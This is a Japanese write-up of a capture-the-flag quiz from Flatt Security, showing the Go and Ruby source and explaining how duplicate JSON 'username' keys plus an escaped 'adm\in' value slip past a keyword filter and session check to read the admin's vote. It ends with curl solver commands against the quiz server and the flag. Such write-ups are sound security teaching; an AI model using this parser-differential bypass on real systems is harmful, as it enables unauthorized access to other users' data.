🗂

# Flatt Security Developers' Quiz #6 write-up

2024/01/21に公開

※現時点で、作問者様のライトアップが公開されています。
より詳細な解法を知りたい方はこちらをお読みになるのがよいと思います。
https://blog.flatt.tech/entry/2312giraffe_x_quiz

解法

username=adminの投票を見れますか?という問題でした。
ユーザ登録後に動物に投票ができ、投票の結果もっとも多い動物名を画面に表示します。

以下のリポジトリでソースコードが公開されています。

https://github.com/flatt-security/developers-quiz/tree/main/quiz6

主な機能はapi.go, app.rbに書かれています。
使える機能は以下の通りです。

機能 path method
ユーザ登録、ログイン /user post
投票 /vote post
投票先表示 /result post
最大投票数の候補者を表示 /summary get

app.rbを確認すると、以下の箇所でFlagを設定しています。

users = {}
flag = ENV['FLAG'] || "DUMMY"
users["admin"] = flag # Can you read other's vote?

users変数には投票機能を使った際に投票者(username)と投票先(candidate)が格納されます。
その後、投票先表示機能を使うことで、投票者に対応した投票先が返されます。

上記から投票先表示機能を使い、投票者を誤認させてflagを獲得する問題だと仮説を立てました。

しかしながら、{"username":"admin"}を/resultにpostしてもapi.go のhandleSession関数ではじかれてしまいます。
また、handleSession関数では、waf関数をコールし、リクエストボディに"admin"が含まれていないか検証するほか、session_idとusernameの対応も検証しています。


func waf(data []byte) bool {
	return bytes.Contains(data, []byte("admin"))
}

func handleSession(c echo.Context, data []byte) error {
	if waf(data) {
		return echo.NewHTTPError(http.StatusBadRequest, "Bad text detected")
	}

	sessionID := c.Request().Header.Get("Authorization")
	username, err := jsonparser.GetString(data, "username")
	if err != nil {
		return echo.NewHTTPError(http.StatusBadRequest, "username is required")
	}

	if _, exists := userSessions[username]; !exists {
		return echo.NewHTTPError(http.StatusUnauthorized, "Invalid session")
	}
	if userSessions[username] != sessionID {
		return echo.NewHTTPError(http.StatusUnauthorized, "Invalid session")
	}

	return nil
}

そのためflagを獲得するには、 api.goのhandleSession関数をバイパスした上でapp.rbのpost '/result' で"admin"だと認識される文字列を送る必要があります。

apiとappの言語が異なることから、おそらくjson parserの仕様の差異を突くようなものだと考えます。

api.goでは"github.com/buger/jsonparser" をimportしています。
buger/jsonparse ctfでググってみると以下の記事を見つけました。

https://hi120ki.github.io/blog/posts/20210523-2/

この記事によると、jsonparserではキーが重複していた場合、前のキーを参照するとのことです。

printデバッグしてみると確かに前のキーを参照していました。
またapp.rbでは後ろのキーを参照しています。

api.go log
2024-01-02 13:42:59 Username spitz

app.rb log
2024-01-02 13:42:59 Username shiba

上記の方法を使えば適当に登録したusernameの後ろに"username":"admin"とすればsession_idを検証している箇所はバイパスできます。

しかし、リクエストボディに"admin"という文字列があった場合はapi.goのhadleSession関数ではじかれてしまいます。

エスケープ文字を使って"adm\in"を送り付ければ、parseされる際に""が消えてくれないかなと推測したところ、これが当たっていました。
どうやらJSON.parse()した際にバックスラッシュが削除され"admin"になるようです。

以下のような文字列を/resultにpostします。
するとapi.goではusername=shibaとなり、またリクエストボディに"admin"は含まれていないのでhandleSession関数をバイパスできます。

app.rbではusername=adminとなるためflagが帰ってきます。

{"username":"shiba", "username":"adm\in"}

以下はソルバーです。


# ユーザ登録
curl -X POST -H "Content-Type: application/json" -d '{"username":"shiba", "session_id":"sessionID"}' https://202312-giraffe-33ab414.quiz.flatt.training//user

# flag 取得
curl -X POST -H "Content-Type: application/json" -H "Authorization: sessionID" -d '{"username":"shiba", "username":"adm\in"}' https://202312-giraffe-33ab414.quiz.flatt.training/result

flag

{"candidate":"Flatt{Secure X means the system is not secure}"}

反省

pythonを使ってテストをしていたところ、重複したキーをもつjsonを上手くpostできず、json parserに差異があることに気づくのに時間がかかりました。。

Discussion